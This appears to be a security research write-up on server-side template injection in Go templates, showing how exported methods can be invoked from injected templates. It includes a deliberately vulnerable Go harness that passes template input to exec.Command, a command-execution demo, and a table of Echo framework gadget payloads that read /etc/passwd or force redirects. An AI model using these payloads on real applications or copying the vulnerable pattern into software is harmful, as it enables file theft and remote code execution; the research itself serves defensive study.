Method Invocation in Go's builtin template modules lead to file read and RCE.
Although SSTI's have been thoroughly researched in common web languages such as PHP and Python, I noticed a lack in research towards Go's builtin html/template module (apart from this writeup, which explains how to achieve XSS).
The documentation for both the html/template module can be found here, and the documentation for the text/template module can be found here, and yes, there is a slight difference. For example, in text/template, to call properties with function values you use the "call" value, this however, is not the case with html/template.
Testing arena
package main
import (
"html/template"
"os/exec"
"bufio"
"log"
"os"
)
type Person string
func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}
func (p Person) Label (test string) string {
return "This is " + string(test)
}
func main(){
reader := bufio.NewReader(os.Stdin)
text, _ := reader.ReadString('\n')
tmpl, err := template.New("").Parse(text)
if err != nil {
log.Fatalf("Parse: %v", err)
}
tmpl.Execute(os.Stdin,Person("Gus"))
}
Research
While looking into how the template engine works in Go, I noticed you can call any of the properties of the object that you render into the template, for example the below:
type User struct {
ID int
Email string
Password string
}
func main() {
var user1 = &User{1, "test@example.com", "test123"}
var tmpl = fmt.Sprintf(`Hi {{ .Email }}`)
t, err := template.New("page").Parse(tmpl)
if err != nil {
fmt.Println(err)
}
t.Execute(w, &user1)
}
Since we execute the template with &user1
, the {{.Email}}
template uses the email attribute of user1, which is defined as test@example.com, this chunk of code will essentially return Hi test@example.com
. If we control the content of the template string, we could even add a {{.Password}}
to leak the users password, and take over the account.
Upon experimenting with the previously stated functionality, I was wondering if you could equally call a method through a template injection, as long as the method is an attribute of the value passed to the template. This lead me to finding out that you can in fact call methods, and even specify explicit parameters, similar to how you would in a deserialization attack.
This can be demonstrated as seen below:

This works, as the template {{.System "id"}}
calls the .System method using the Person struct, and passes "id" as a parameter. The output to said template is then the output of the commandv (note the app was modified to achieve this, and you can not normally just randomly call the System method).
Something to take into account with the previously defined source code is that the capital letter in the secret function's name is not part of the naming convention, it is part of the Go syntax. Exported names (that is, identifiers that can be used from a package other than the one where they are defined) begin with a capital letter. We need this function to be an exported name, due to the fact that upon rendering the template, it is the template package that will be calling the function.
Using this theory, it should be possible to find "gadgets" that allow us to perform arbitrary activies depending on what module is imported, especially if interfaces are used. This has never been researched before from an SSTI perspective, and will allow to take Go SSTI's much further than an XSS, if succesful.
To find some basic gadgets, I decided to start by looking into a popular web application module, called echo. Essentially what I am looking for, is any method called within the module, that could potentially perform malicious activities.
An example I acquired can be seen below:
func (c *context) File(file string) (err error) {
f, err := os.Open(file)
if err != nil {
return NotFoundHandler(c)
}
defer f.Close()
fi, _ := f.Stat()
if fi.IsDir() {
file = filepath.Join(file, indexPage)
f, err = os.Open(file)
if err != nil {
return NotFoundHandler(c)
}
defer f.Close()
if fi, err = f.Stat(); err != nil {
return
}
}
http.ServeContent(c.Response(), c.Request(), fi.Name(), fi.ModTime(), f)
return
}
This function essentially takes in a string parameter called "file", which is then opened and read. This can be easily verified, although a slight modification is required to be made to the script, specifically, execute the template by taking in the Context data type, as File is a method of type Context. In my testing environment, c
is already type Context, so we can just pass the variable c
to the execute function.

This means we can succesfully abuse the gadget to read a local file. This similar tactic can be abused in many situations, as long as the value passed to the template execution is a valid type for a public method.
Gadgets from common modules
Bellow I have listed some example gadgets that appear throughout one of the most popular web frameworks, echo by LabStack.

Module | Method name | Method type | Leads to | Example |
---|---|---|---|---|
Labstack Echo Server | File | echo.Context | File Read | {{.File "/etc/passwd"}} |
Labstack Echo Server | Attachment | echo.Context | File Read / Download | {{.Attachment "/etc/passwd" "outputfile"}} |
Labstack Echo Server | Inline | echo.Context | File Read | {{.Inline "/etc/passwd" "outputfile"}} |
Labstack Echo Server | Redirect | echo.Context | Redirect | {{.Redirect 302 "https://google.com"}} |